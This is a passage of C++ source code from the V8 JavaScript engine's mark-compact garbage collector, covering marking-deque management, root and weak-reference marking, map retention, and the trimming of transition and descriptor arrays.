heap()->array_buffer_tracker()->MarkLive(JSArrayBuffer::cast(target));
}
heap()->IncrementSemiSpaceCopiedObjectSize(size);
}
*cells = 0;
}
return survivors_size;
}
void MarkCompactCollector::DiscoverGreyObjectsInSpace(PagedSpace* space) {
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
DiscoverGreyObjectsOnPage(p);
if (marking_deque()->IsFull()) return;
}
}
void MarkCompactCollector::DiscoverGreyObjectsInNewSpace() {
NewSpace* space = heap()->new_space();
NewSpacePageIterator it(space->bottom(), space->top());
while (it.has_next()) {
NewSpacePage* page = it.next();
DiscoverGreyObjectsOnPage(page);
if (marking_deque()->IsFull()) return;
}
}
bool MarkCompactCollector::IsUnmarkedHeapObject(Object** p) {
Object* o = *p;
if (!o->IsHeapObject()) return false;
HeapObject* heap_object = HeapObject::cast(o);
MarkBit mark = Marking::MarkBitFrom(heap_object);
return Marking::IsWhite(mark);
}
bool MarkCompactCollector::IsUnmarkedHeapObjectWithHeap(Heap* heap,
Object** p) {
Object* o = *p;
DCHECK(o->IsHeapObject());
HeapObject* heap_object = HeapObject::cast(o);
MarkBit mark = Marking::MarkBitFrom(heap_object);
return Marking::IsWhite(mark);
}
void MarkCompactCollector::MarkStringTable(RootMarkingVisitor* visitor) {
StringTable* string_table = heap()->string_table();
// Mark the string table itself.
MarkBit string_table_mark = Marking::MarkBitFrom(string_table);
if (Marking::IsWhite(string_table_mark)) {
// String table could have already been marked by visiting the handles list.
SetMark(string_table, string_table_mark);
}
// Explicitly mark the prefix.
string_table->IteratePrefix(visitor);
ProcessMarkingDeque();
}
void MarkCompactCollector::MarkAllocationSite(AllocationSite* site) {
MarkBit mark_bit = Marking::MarkBitFrom(site);
SetMark(site, mark_bit);
}
void MarkCompactCollector::MarkRoots(RootMarkingVisitor* visitor) {
// Mark the heap roots including global variables, stack variables,
// etc., and all objects reachable from them.
heap()->IterateStrongRoots(visitor, VISIT_ONLY_STRONG);
// Handle the string table specially.
MarkStringTable(visitor);
// There may be overflowed objects in the heap. Visit them now.
while (marking_deque_.overflowed()) {
RefillMarkingDeque();
EmptyMarkingDeque();
}
}
void MarkCompactCollector::MarkImplicitRefGroups(
MarkObjectFunction mark_object) {
List<ImplicitRefGroup*>* ref_groups =
isolate()->global_handles()->implicit_ref_groups();
int last = 0;
for (int i = 0; i < ref_groups->length(); i++) {
ImplicitRefGroup* entry = ref_groups->at(i);
DCHECK(entry != NULL);
if (!IsMarked(*entry->parent)) {
(*ref_groups)[last++] = entry;
continue;
}
Object*** children = entry->children;
// A parent object is marked, so mark all child heap objects.
for (size_t j = 0; j < entry->length; ++j) {
if ((*children[j])->IsHeapObject()) {
mark_object(heap(), HeapObject::cast(*children[j]));
}
}
// Once the entire group has been marked, dispose it because it's
// not needed anymore.
delete entry;
}
ref_groups->Rewind(last);
}
// Mark all objects reachable from the objects on the marking stack.
// Before: the marking stack contains zero or more heap object pointers.
// After: the marking stack is empty, and all objects reachable from the
// marking stack have been marked, or are overflowed in the heap.
void MarkCompactCollector::EmptyMarkingDeque() {
Map* filler_map = heap_->one_pointer_filler_map();
while (!marking_deque_.IsEmpty()) {
HeapObject* object = marking_deque_.Pop();
// Explicitly skip one word fillers. Incremental markbit patterns are
// correct only for objects that occupy at least two words.
Map* map = object->map();
if (map == filler_map) continue;
DCHECK(object->IsHeapObject());
DCHECK(heap()->Contains(object));
DCHECK(!Marking::IsWhite(Marking::MarkBitFrom(object)));
MarkBit map_mark = Marking::MarkBitFrom(map);
MarkObject(map, map_mark);
MarkCompactMarkingVisitor::IterateBody(map, object);
}
}
// Sweep the heap for overflowed objects, clear their overflow bits, and
// push them on the marking stack. Stop early if the marking stack fills
// before sweeping completes. If sweeping completes, there are no remaining
// overflowed objects in the heap so the overflow flag on the markings stack
// is cleared.
void MarkCompactCollector::RefillMarkingDeque() {
isolate()->CountUsage(v8::Isolate::UseCounterFeature::kMarkDequeOverflow);
DCHECK(marking_deque_.overflowed());
DiscoverGreyObjectsInNewSpace();
if (marking_deque_.IsFull()) return;
DiscoverGreyObjectsInSpace(heap()->old_space());
if (marking_deque_.IsFull()) return;
DiscoverGreyObjectsInSpace(heap()->code_space());
if (marking_deque_.IsFull()) return;
DiscoverGreyObjectsInSpace(heap()->map_space());
if (marking_deque_.IsFull()) return;
LargeObjectIterator lo_it(heap()->lo_space());
DiscoverGreyObjectsWithIterator(&lo_it);
if (marking_deque_.IsFull()) return;
marking_deque_.ClearOverflowed();
}
// Mark all objects reachable (transitively) from objects on the marking
// stack. Before: the marking stack contains zero or more heap object
// pointers. After: the marking stack is empty and there are no overflowed
// objects in the heap.
void MarkCompactCollector::ProcessMarkingDeque() {
EmptyMarkingDeque();
while (marking_deque_.overflowed()) {
RefillMarkingDeque();
EmptyMarkingDeque();
}
}
// Mark all objects reachable (transitively) from objects on the marking
// stack including references only considered in the atomic marking pause.
void MarkCompactCollector::ProcessEphemeralMarking(
ObjectVisitor* visitor, bool only_process_harmony_weak_collections) {
bool work_to_do = true;
DCHECK(marking_deque_.IsEmpty() && !marking_deque_.overflowed());
while (work_to_do) {
if (!only_process_harmony_weak_collections) {
isolate()->global_handles()->IterateObjectGroups(
visitor, &IsUnmarkedHeapObjectWithHeap);
MarkImplicitRefGroups(&MarkCompactMarkingVisitor::MarkObject);
}
ProcessWeakCollections();
work_to_do = !marking_deque_.IsEmpty();
ProcessMarkingDeque();
}
}
void MarkCompactCollector::ProcessTopOptimizedFrame(ObjectVisitor* visitor) {
for (StackFrameIterator it(isolate(), isolate()->thread_local_top());
!it.done(); it.Advance()) {
if (it.frame()->type() == StackFrame::JAVA_SCRIPT) {
return;
}
if (it.frame()->type() == StackFrame::OPTIMIZED) {
Code* code = it.frame()->LookupCode();
if (!code->CanDeoptAt(it.frame()->pc())) {
code->CodeIterateBody(visitor);
}
ProcessMarkingDeque();
return;
}
}
}
void MarkCompactCollector::RetainMaps() {
if (heap()->ShouldReduceMemory() || heap()->ShouldAbortIncrementalMarking() ||
FLAG_retain_maps_for_n_gc == 0) {
// Do not retain dead maps if flag disables it or there is
// - memory pressure (reduce_memory_footprint_),
// - GC is requested by tests or dev-tools (abort_incremental_marking_).
return;
}
ArrayList* retained_maps = heap()->retained_maps();
int length = retained_maps->Length();
int new_length = 0;
for (int i = 0; i < length; i += 2) {
DCHECK(retained_maps->Get(i)->IsWeakCell());
WeakCell* cell = WeakCell::cast(retained_maps->Get(i));
if (cell->cleared()) continue;
int age = Smi::cast(retained_maps->Get(i + 1))->value();
int new_age;
Map* map = Map::cast(cell->value());
MarkBit map_mark = Marking::MarkBitFrom(map);
if (Marking::IsWhite(map_mark)) {
if (age == 0) {
// The map has aged. Do not retain this map.
continue;
}
Object* constructor = map->GetConstructor();
if (!constructor->IsHeapObject() || Marking::IsWhite(Marking::MarkBitFrom(
HeapObject::cast(constructor)))) {
// The constructor is dead, no new objects with this map can
// be created. Do not retain this map.
continue;
}
Object* prototype = map->prototype();
if (prototype->IsHeapObject() &&
Marking::IsWhite(Marking::MarkBitFrom(HeapObject::cast(prototype)))) {
// The prototype is not marked, age the map.
new_age = age - 1;
} else {
// The prototype and the constructor are marked, this map keeps only
// transition tree alive, not JSObjects. Do not age the map.
new_age = age;
}
MarkObject(map, map_mark);
} else {
new_age = FLAG_retain_maps_for_n_gc;
}
if (i != new_length) {
retained_maps->Set(new_length, cell);
Object** slot = retained_maps->Slot(new_length);
RecordSlot(retained_maps, slot, cell);
retained_maps->Set(new_length + 1, Smi::FromInt(new_age));
} else if (new_age != age) {
retained_maps->Set(new_length + 1, Smi::FromInt(new_age));
}
new_length += 2;
}
Object* undefined = heap()->undefined_value();
for (int i = new_length; i < length; i++) {
retained_maps->Clear(i, undefined);
}
if (new_length != length) retained_maps->SetLength(new_length);
ProcessMarkingDeque();
}
void MarkCompactCollector::EnsureMarkingDequeIsReserved() {
DCHECK(!marking_deque_.in_use());
if (marking_deque_memory_ == NULL) {
marking_deque_memory_ = new base::VirtualMemory(kMaxMarkingDequeSize);
marking_deque_memory_committed_ = 0;
}
if (marking_deque_memory_ == NULL) {
V8::FatalProcessOutOfMemory("EnsureMarkingDequeIsReserved");
}
}
void MarkCompactCollector::EnsureMarkingDequeIsCommitted(size_t max_size) {
// If the marking deque is too small, we try to allocate a bigger one.
// If that fails, make do with a smaller one.
CHECK(!marking_deque_.in_use());
for (size_t size = max_size; size >= kMinMarkingDequeSize; size >>= 1) {
base::VirtualMemory* memory = marking_deque_memory_;
size_t currently_committed = marking_deque_memory_committed_;
if (currently_committed == size) return;
if (currently_committed > size) {
bool success = marking_deque_memory_->Uncommit(
reinterpret_cast<Address>(marking_deque_memory_->address()) + size,
currently_committed - size);
if (success) {
marking_deque_memory_committed_ = size;
return;
}
UNREACHABLE();
}
bool success = memory->Commit(
reinterpret_cast<Address>(memory->address()) + currently_committed,
size - currently_committed,
false); // Not executable.
if (success) {
marking_deque_memory_committed_ = size;
return;
}
}
V8::FatalProcessOutOfMemory("EnsureMarkingDequeIsCommitted");
}
void MarkCompactCollector::InitializeMarkingDeque() {
DCHECK(!marking_deque_.in_use());
DCHECK(marking_deque_memory_committed_ > 0);
Address addr = static_cast<Address>(marking_deque_memory_->address());
size_t size = marking_deque_memory_committed_;
if (FLAG_force_marking_deque_overflows) size = 64 * kPointerSize;
marking_deque_.Initialize(addr, addr + size);
}
void MarkingDeque::Initialize(Address low, Address high) {
DCHECK(!in_use_);
HeapObject** obj_low = reinterpret_cast<HeapObject**>(low);
HeapObject** obj_high = reinterpret_cast<HeapObject**>(high);
array_ = obj_low;
mask_ = base::bits::RoundDownToPowerOfTwo32(
static_cast<uint32_t>(obj_high - obj_low)) -
1;
top_ = bottom_ = 0;
overflowed_ = false;
in_use_ = true;
}
void MarkingDeque::Uninitialize(bool aborting) {
if (!aborting) {
DCHECK(IsEmpty());
DCHECK(!overflowed_);
}
DCHECK(in_use_);
top_ = bottom_ = 0xdecbad;
in_use_ = false;
}
void MarkCompactCollector::MarkLiveObjects() {
GCTracer::Scope gc_scope(heap()->tracer(), GCTracer::Scope::MC_MARK);
double start_time = 0.0;
if (FLAG_print_cumulative_gc_stat) {
start_time = base::OS::TimeCurrentMillis();
}
// The recursive GC marker detects when it is nearing stack overflow,
// and switches to a different marking system. JS interrupts interfere
// with the C stack limit check.
PostponeInterruptsScope postpone(isolate());
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_FINISH_INCREMENTAL);
IncrementalMarking* incremental_marking = heap_->incremental_marking();
if (was_marked_incrementally_) {
incremental_marking->Finalize();
} else {
// Abort any pending incremental activities e.g. incremental sweeping.
incremental_marking->Stop();
if (marking_deque_.in_use()) {
marking_deque_.Uninitialize(true);
}
}
}
#ifdef DEBUG
DCHECK(state_ == PREPARE_GC);
state_ = MARK_LIVE_OBJECTS;
#endif
EnsureMarkingDequeIsCommittedAndInitialize(
MarkCompactCollector::kMaxMarkingDequeSize);
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_PREPARE_CODE_FLUSH);
PrepareForCodeFlushing();
}
RootMarkingVisitor root_visitor(heap());
{
GCTracer::Scope gc_scope(heap()->tracer(), GCTracer::Scope::MC_MARK_ROOT);
MarkRoots(&root_visitor);
}
{
GCTracer::Scope gc_scope(heap()->tracer(), GCTracer::Scope::MC_MARK_TOPOPT);
ProcessTopOptimizedFrame(&root_visitor);
}
// Retaining dying maps should happen before or during ephemeral marking
// because a map could keep the key of an ephemeron alive. Note that map
// aging is imprecise: maps that are kept alive only by ephemerons will age.
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_RETAIN_MAPS);
RetainMaps();
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_WEAK_CLOSURE);
// The objects reachable from the roots are marked, yet unreachable
// objects are unmarked. Mark objects reachable due to host
// application specific logic or through Harmony weak maps.
ProcessEphemeralMarking(&root_visitor, false);
// The objects reachable from the roots, weak maps or object groups
// are marked. Objects pointed to only by weak global handles cannot be
// immediately reclaimed. Instead, we have to mark them as pending and mark
// objects reachable from them.
//
// First we identify nonlive weak handles and mark them as pending
// destruction.
heap()->isolate()->global_handles()->IdentifyWeakHandles(
&IsUnmarkedHeapObject);
// Then we mark the objects.
heap()->isolate()->global_handles()->IterateWeakRoots(&root_visitor);
ProcessMarkingDeque();
// Repeat Harmony weak maps marking to mark unmarked objects reachable from
// the weak roots we just marked as pending destruction.
//
// We only process harmony collections, as all object groups have been fully
// processed and no weakly reachable node can discover new objects groups.
ProcessEphemeralMarking(&root_visitor, true);
}
AfterMarking();
if (FLAG_print_cumulative_gc_stat) {
heap_->tracer()->AddMarkingTime(base::OS::TimeCurrentMillis() - start_time);
}
}
void MarkCompactCollector::AfterMarking() {
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_STRING_TABLE);
// Prune the string table removing all strings only pointed to by the
// string table. Cannot use string_table() here because the string
// table is marked.
StringTable* string_table = heap()->string_table();
InternalizedStringTableCleaner internalized_visitor(heap());
string_table->IterateElements(&internalized_visitor);
string_table->ElementsRemoved(internalized_visitor.PointersRemoved());
ExternalStringTableCleaner external_visitor(heap());
heap()->external_string_table_.Iterate(&external_visitor);
heap()->external_string_table_.CleanUp();
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_WEAK_REFERENCES);
// Process the weak references.
MarkCompactWeakObjectRetainer mark_compact_object_retainer;
heap()->ProcessAllWeakReferences(&mark_compact_object_retainer);
}
{
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_GLOBAL_HANDLES);
// Remove object groups after marking phase.
heap()->isolate()->global_handles()->RemoveObjectGroups();
heap()->isolate()->global_handles()->RemoveImplicitRefGroups();
}
// Flush code from collected candidates.
if (is_code_flushing_enabled()) {
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_CODE_FLUSH);
code_flusher_->ProcessCandidates();
}
// Process and clear all optimized code maps.
if (!FLAG_flush_optimized_code_cache) {
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_MARK_OPTIMIZED_CODE_MAPS);
ProcessAndClearOptimizedCodeMaps();
}
if (FLAG_track_gc_object_stats) {
if (FLAG_trace_gc_object_stats) {
heap()->object_stats_->TraceObjectStats();
}
heap()->object_stats_->CheckpointObjectStats();
}
}
void MarkCompactCollector::ProcessAndClearOptimizedCodeMaps() {
SharedFunctionInfo::Iterator iterator(isolate());
while (SharedFunctionInfo* shared = iterator.Next()) {
if (shared->optimized_code_map()->IsSmi()) continue;
// Process context-dependent entries in the optimized code map.
FixedArray* code_map = FixedArray::cast(shared->optimized_code_map());
int new_length = SharedFunctionInfo::kEntriesStart;
int old_length = code_map->length();
for (int i = SharedFunctionInfo::kEntriesStart; i < old_length;
i += SharedFunctionInfo::kEntryLength) {
// Each entry contains [ context, code, literals, ast-id ] as fields.
STATIC_ASSERT(SharedFunctionInfo::kEntryLength == 4);
Context* context =
Context::cast(code_map->get(i + SharedFunctionInfo::kContextOffset));
HeapObject* code = HeapObject::cast(
code_map->get(i + SharedFunctionInfo::kCachedCodeOffset));
FixedArray* literals = FixedArray::cast(
code_map->get(i + SharedFunctionInfo::kLiteralsOffset));
Smi* ast_id =
Smi::cast(code_map->get(i + SharedFunctionInfo::kOsrAstIdOffset));
if (Marking::IsWhite(Marking::MarkBitFrom(context))) continue;
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(context)));
if (Marking::IsWhite(Marking::MarkBitFrom(code))) continue;
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(code)));
if (Marking::IsWhite(Marking::MarkBitFrom(literals))) continue;
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(literals)));
// Move every slot in the entry and record slots when needed.
code_map->set(new_length + SharedFunctionInfo::kCachedCodeOffset, code);
code_map->set(new_length + SharedFunctionInfo::kContextOffset, context);
code_map->set(new_length + SharedFunctionInfo::kLiteralsOffset, literals);
code_map->set(new_length + SharedFunctionInfo::kOsrAstIdOffset, ast_id);
Object** code_slot = code_map->RawFieldOfElementAt(
new_length + SharedFunctionInfo::kCachedCodeOffset);
RecordSlot(code_map, code_slot, *code_slot);
Object** context_slot = code_map->RawFieldOfElementAt(
new_length + SharedFunctionInfo::kContextOffset);
RecordSlot(code_map, context_slot, *context_slot);
Object** literals_slot = code_map->RawFieldOfElementAt(
new_length + SharedFunctionInfo::kLiteralsOffset);
RecordSlot(code_map, literals_slot, *literals_slot);
new_length += SharedFunctionInfo::kEntryLength;
}
// Process context-independent entry in the optimized code map.
Object* shared_object = code_map->get(SharedFunctionInfo::kSharedCodeIndex);
if (shared_object->IsCode()) {
Code* shared_code = Code::cast(shared_object);
if (Marking::IsWhite(Marking::MarkBitFrom(shared_code))) {
code_map->set_undefined(SharedFunctionInfo::kSharedCodeIndex);
} else {
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(shared_code)));
Object** slot =
code_map->RawFieldOfElementAt(SharedFunctionInfo::kSharedCodeIndex);
RecordSlot(code_map, slot, *slot);
}
}
// Trim the optimized code map if entries have been removed.
if (new_length < old_length) {
shared->TrimOptimizedCodeMap(old_length - new_length);
}
}
}
void MarkCompactCollector::ClearNonLiveReferences() {
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_NONLIVEREFERENCES);
// Iterate over the map space, setting map transitions that go from
// a marked map to an unmarked map to null transitions. This action
// is carried out only on maps of JSObjects and related subtypes.
HeapObjectIterator map_iterator(heap()->map_space());
for (HeapObject* obj = map_iterator.Next(); obj != NULL;
obj = map_iterator.Next()) {
Map* map = Map::cast(obj);
if (!map->CanTransition()) continue;
MarkBit map_mark = Marking::MarkBitFrom(map);
ClearNonLivePrototypeTransitions(map);
ClearNonLiveMapTransitions(map, map_mark);
if (Marking::IsWhite(map_mark)) {
have_code_to_deoptimize_ |=
map->dependent_code()->MarkCodeForDeoptimization(
isolate(), DependentCode::kWeakCodeGroup);
map->set_dependent_code(DependentCode::cast(heap()->empty_fixed_array()));
}
}
WeakHashTable* table = heap_->weak_object_to_code_table();
uint32_t capacity = table->Capacity();
for (uint32_t i = 0; i < capacity; i++) {
uint32_t key_index = table->EntryToIndex(i);
Object* key = table->get(key_index);
if (!table->IsKey(key)) continue;
uint32_t value_index = table->EntryToValueIndex(i);
Object* value = table->get(value_index);
DCHECK(key->IsWeakCell());
if (WeakCell::cast(key)->cleared()) {
have_code_to_deoptimize_ |=
DependentCode::cast(value)->MarkCodeForDeoptimization(
isolate(), DependentCode::kWeakCodeGroup);
table->set(key_index, heap_->the_hole_value());
table->set(value_index, heap_->the_hole_value());
table->ElementRemoved();
}
}
}
void MarkCompactCollector::ClearNonLivePrototypeTransitions(Map* map) {
FixedArray* prototype_transitions =
TransitionArray::GetPrototypeTransitions(map);
int number_of_transitions =
TransitionArray::NumberOfPrototypeTransitions(prototype_transitions);
const int header = TransitionArray::kProtoTransitionHeaderSize;
int new_number_of_transitions = 0;
for (int i = 0; i < number_of_transitions; i++) {
Object* cell = prototype_transitions->get(header + i);
if (!WeakCell::cast(cell)->cleared()) {
if (new_number_of_transitions != i) {
prototype_transitions->set(header + new_number_of_transitions, cell);
Object** slot = prototype_transitions->RawFieldOfElementAt(
header + new_number_of_transitions);
RecordSlot(prototype_transitions, slot, cell);
}
new_number_of_transitions++;
}
}
if (new_number_of_transitions != number_of_transitions) {
TransitionArray::SetNumberOfPrototypeTransitions(prototype_transitions,
new_number_of_transitions);
}
// Fill slots that became free with undefined value.
for (int i = new_number_of_transitions; i < number_of_transitions; i++) {
prototype_transitions->set_undefined(header + i);
}
}
void MarkCompactCollector::ClearNonLiveMapTransitions(Map* map,
MarkBit map_mark) {
Object* potential_parent = map->GetBackPointer();
if (!potential_parent->IsMap()) return;
Map* parent = Map::cast(potential_parent);
// Follow back pointer, check whether we are dealing with a map transition
// from a live map to a dead path and in case clear transitions of parent.
bool current_is_alive = Marking::IsBlackOrGrey(map_mark);
bool parent_is_alive = Marking::IsBlackOrGrey(Marking::MarkBitFrom(parent));
if (!current_is_alive && parent_is_alive) {
ClearMapTransitions(parent, map);
}
}
// Clear a possible back pointer in case the transition leads to a dead map.
// Return true in case a back pointer has been cleared and false otherwise.
bool MarkCompactCollector::ClearMapBackPointer(Map* target) {
if (Marking::IsBlackOrGrey(Marking::MarkBitFrom(target))) return false;
target->SetBackPointer(heap_->undefined_value(), SKIP_WRITE_BARRIER);
return true;
}
void MarkCompactCollector::ClearMapTransitions(Map* map, Map* dead_transition) {
Object* transitions = map->raw_transitions();
int num_transitions = TransitionArray::NumberOfTransitions(transitions);
int number_of_own_descriptors = map->NumberOfOwnDescriptors();
DescriptorArray* descriptors = map->instance_descriptors();
// A previously existing simple transition (stored in a WeakCell) may have
// been cleared. Clear the useless cell pointer, and take ownership
// of the descriptor array.
if (transitions->IsWeakCell() && WeakCell::cast(transitions)->cleared()) {
map->set_raw_transitions(Smi::FromInt(0));
}
if (num_transitions == 0 &&
descriptors == dead_transition->instance_descriptors() &&
number_of_own_descriptors > 0) {
TrimDescriptorArray(map, descriptors, number_of_own_descriptors);
DCHECK(descriptors->number_of_descriptors() == number_of_own_descriptors);
map->set_owns_descriptors(true);
return;
}
int transition_index = 0;
bool descriptors_owner_died = false;
// Compact all live descriptors to the left.
for (int i = 0; i < num_transitions; ++i) {
Map* target = TransitionArray::GetTarget(transitions, i);
if (ClearMapBackPointer(target)) {
if (target->instance_descriptors() == descriptors) {
descriptors_owner_died = true;
}
} else {
if (i != transition_index) {
DCHECK(TransitionArray::IsFullTransitionArray(transitions));
TransitionArray* t = TransitionArray::cast(transitions);
Name* key = t->GetKey(i);
t->SetKey(transition_index, key);
Object** key_slot = t->GetKeySlot(transition_index);
RecordSlot(t, key_slot, key);
// Target slots do not need to be recorded since maps are not compacted.
t->SetTarget(transition_index, t->GetTarget(i));
}
transition_index++;
}
}
// If there are no transitions to be cleared, return.
// TODO(verwaest) Should be an assert, otherwise back pointers are not
// properly cleared.
if (transition_index == num_transitions) return;
if (descriptors_owner_died) {
if (number_of_own_descriptors > 0) {
TrimDescriptorArray(map, descriptors, number_of_own_descriptors);
DCHECK(descriptors->number_of_descriptors() == number_of_own_descriptors);
map->set_owns_descriptors(true);
} else {
DCHECK(descriptors == heap_->empty_descriptor_array());
}
}
// Note that we never eliminate a transition array, though we might right-trim
// such that number_of_transitions() == 0. If this assumption changes,
// TransitionArray::Insert() will need to deal with the case that a transition
// array disappeared during GC.
int trim = TransitionArray::Capacity(transitions) - transition_index;
if (trim > 0) {
// Non-full-TransitionArray cases can never reach this point.
DCHECK(TransitionArray::IsFullTransitionArray(transitions));
TransitionArray* t = TransitionArray::cast(transitions);
heap_->RightTrimFixedArray<Heap::SEQUENTIAL_TO_SWEEPER>(
t, trim * TransitionArray::kTransitionSize);
t->SetNumberOfTransitions(transition_index);
// The map still has a full transition array.
DCHECK(TransitionArray::IsFullTransitionArray(map->raw_transitions()));
}
}
void MarkCompactCollector::TrimDescriptorArray(Map* map,
DescriptorArray* descriptors,
int number_of_own_descriptors) {
int number_of_descriptors = descriptors->number_of_descriptors_storage();
int to_trim = number_of_descriptors - number_of_own_descriptors;
if (to_trim == 0) return;
heap_->RightTrimFixedArray<Heap::SEQUENTIAL_TO_SWEEPER>(
descriptors, to_trim * DescriptorArray::kDescriptorSize);
descriptors->SetNumberOfDescriptors(number_of_own_descriptors);
if (descriptors->HasEnumCache()) TrimEnumCache(map, descriptors);
descriptors->Sort();
if (FLAG_unbox_double_fields) {
LayoutDescriptor* layout_descriptor = map->layout_descriptor();
layout_descriptor = layout_descriptor->Trim(heap_, map, descriptors,
number_of_own_descriptors);
SLOW_DCHECK(layout_descriptor->IsConsistentWithMap(map, true));
}
}
void MarkCompactCollector::TrimEnumCache(Map* map,
DescriptorArray* descriptors) {
int live_enum = map->EnumLength();
if (live_enum == kInvalidEnumCacheSentinel) {
live_enum = map->NumberOfDescribedProperties(OWN_DESCRIPTORS, DONT_ENUM);
}
if (live_enum == 0) return descriptors->ClearEnumCache();
FixedArray* enum_cache = descriptors->GetEnumCache();
int to_trim = enum_cache->length() - live_enum;
if (to_trim <= 0) return;
heap_->RightTrimFixedArray<Heap::SEQUENTIAL_TO_SWEEPER>(
descriptors->GetEnumCache(), to_trim);
if (!descriptors->HasEnumIndicesCache()) return;
FixedArray* enum_indices_cache = descriptors->GetEnumIndicesCache();
heap_->RightTrimFixedArray<Heap::SEQUENTIAL_TO_SWEEPER>(enum_indices_cache,
to_trim);
}
void MarkCompactCollector::ProcessWeakCollections() {
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_WEAKCOLLECTION_PROCESS);
Object* weak_collection_obj = heap()->encountered_weak_collections();
while (weak_collection_obj != Smi::FromInt(0)) {
JSWeakCollection* weak_collection =
reinterpret_cast<JSWeakCollection*>(weak_collection_obj);
DCHECK(MarkCompactCollector::IsMarked(weak_collection));
if (weak_collection->table()->IsHashTable()) {
ObjectHashTable* table = ObjectHashTable::cast(weak_collection->table());
for (int i = 0; i < table->Capacity(); i++) {
if (MarkCompactCollector::IsMarked(HeapObject::cast(table->KeyAt(i)))) {
Object** key_slot =
table->RawFieldOfElementAt(ObjectHashTable::EntryToIndex(i));
RecordSlot(table, key_slot, *key_slot);
Object** value_slot =
table->RawFieldOfElementAt(ObjectHashTable::EntryToValueIndex(i));
MarkCompactMarkingVisitor::MarkObjectByPointer(this, table,
value_slot);
}
}
}
weak_collection_obj = weak_collection->next();
}
}
void MarkCompactCollector::ClearWeakCollections() {
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_WEAKCOLLECTION_CLEAR);
Object* weak_collection_obj = heap()->encountered_weak_collections();
while (weak_collection_obj != Smi::FromInt(0)) {
JSWeakCollection* weak_collection =
reinterpret_cast<JSWeakCollection*>(weak_collection_obj);
DCHECK(MarkCompactCollector::IsMarked(weak_collection));
if (weak_collection->table()->IsHashTable()) {
ObjectHashTable* table = ObjectHashTable::cast(weak_collection->table());
for (int i = 0; i < table->Capacity(); i++) {
HeapObject* key = HeapObject::cast(table->KeyAt(i));
if (!MarkCompactCollector::IsMarked(key)) {
table->RemoveEntry(i);
}
}
}
weak_collection_obj = weak_collection->next();
weak_collection->set_next(heap()->undefined_value());
}
heap()->set_encountered_weak_collections(Smi::FromInt(0));
}
void MarkCompactCollector::AbortWeakCollections() {
GCTracer::Scope gc_scope(heap()->tracer(),
GCTracer::Scope::MC_WEAKCOLLECTION_ABORT);
Object* weak_collection_obj = heap()->encountered_weak_collections();
while (weak_collection_obj != Smi::FromInt(0)) {
JSWeakCollection* weak_collection =
reinterpret_cast<JSWeakCollection*>(weak_collection_obj);
weak_collection_obj = weak_collection->next();
weak_collection->set_next(heap()->undefined_value());
}
heap()->set_encountered_weak_collections(Smi::FromInt(0));
}
void MarkCompactCollector::ProcessAndClearWeakCells() {
GCTracer::Scope gc_scope(heap()->tracer(), GCTracer::Scope::MC_WEAKCELL);
Object* weak_cell_obj = heap()->encountered_weak_cells();
while (weak_cell_obj != Smi::FromInt(0)) {
WeakCell* weak_cell = reinterpret_cast<WeakCell*>(weak_cell_obj);
// We do not insert cleared weak cells into the list, so the value
// cannot be a Smi here.
HeapObject* value = HeapObject::cast(weak_cell->value());
if (!MarkCompactCollector::IsMarked(value)) {
// Cells for new-space objects embedded in optimized code are wrapped in
// WeakCell and put into Heap::weak_object_to_code_table.
// Such cells do not have any strong references but we want to keep them
// alive as long as the cell value is alive.
// TODO(ulan): remove this once we remove Heap::weak_object_to_code_table.
if (value->IsCell()) {
Object* cell_value = Cell::cast(value)->value();
if (cell_value->IsHeapObject() &&
MarkCompactCollector::IsMarked(HeapObject::cast(cell_value))) {
// Resurrect the cell.
MarkBit mark = Marking::MarkBitFrom(value);
SetMark(value, mark);
Object** slot = HeapObject::RawField(value, Cell::kValueOffset);
RecordSlot(value, slot, *slot);
slot = HeapObject::RawField(weak_cell, WeakCell::kValueOffset);
RecordSlot(weak_cell, slot, *slot);
} else {
weak_cell->clear();
}
} else {
weak_cell->clear();
}
} else {
Object** slot = HeapObject::RawField(weak_cell, WeakCell::kValueOffset);
RecordSlot(weak_cell, slot, *slot);
}
weak_cell_obj = weak_cell->next();
weak_cell->clear_next(heap());
}
heap()->set_encountered_weak_cells(Smi::FromInt(0));
}
void MarkCompactCollector::AbortWeakCells() {
Object* weak_cell_obj = heap()->encountered_weak_cells();
while (weak_cell_obj != Smi::FromInt(0)) {
WeakCell* weak_cell = reinterpret_cast<WeakCell*>(weak_cell_obj);
weak_cell_obj = weak_cell->next();
weak_cell->clear_next(heap());
}
heap()->set_encountered_weak_cells(Smi::FromInt(0));
}
void MarkCompactCollector::RecordMigratedSlot(
Object* value, Address slot, SlotsBuffer** evacuation_slots_buffer) {
// When parallel compaction is in progress, store and slots buffer entries
// require synchronization.
if (heap_->InNewSpace(value)) {
if (compaction_in_progress_) {
heap_->store_buffer()->MarkSynchronized(slot);
} else {
heap_->store_buffer()->Mark(slot);
}
} else if (value->IsHeapObject() && IsOnEvacuationCandidate(value)) {
SlotsBuffer::AddTo(slots_buffer_allocator_, evacuation_slots_buffer,
reinterpret_cast<Object**>(slot),
SlotsBuffer::IGNORE_OVERFLOW);
}
}
void MarkCompactCollector::RecordMigratedCodeEntrySlot(
Address code_entry, Address code_entry_slot,
SlotsBuffer** evacuation_slots_buffer) {
if (Page::FromAddress(code_entry)->IsEvacuationCandidate()) {
SlotsBuffer::AddTo(slots_buffer_allocator_, evacuation_slots_buffer,
SlotsBuffer::CODE_ENTRY_SLOT, code_entry_slot,
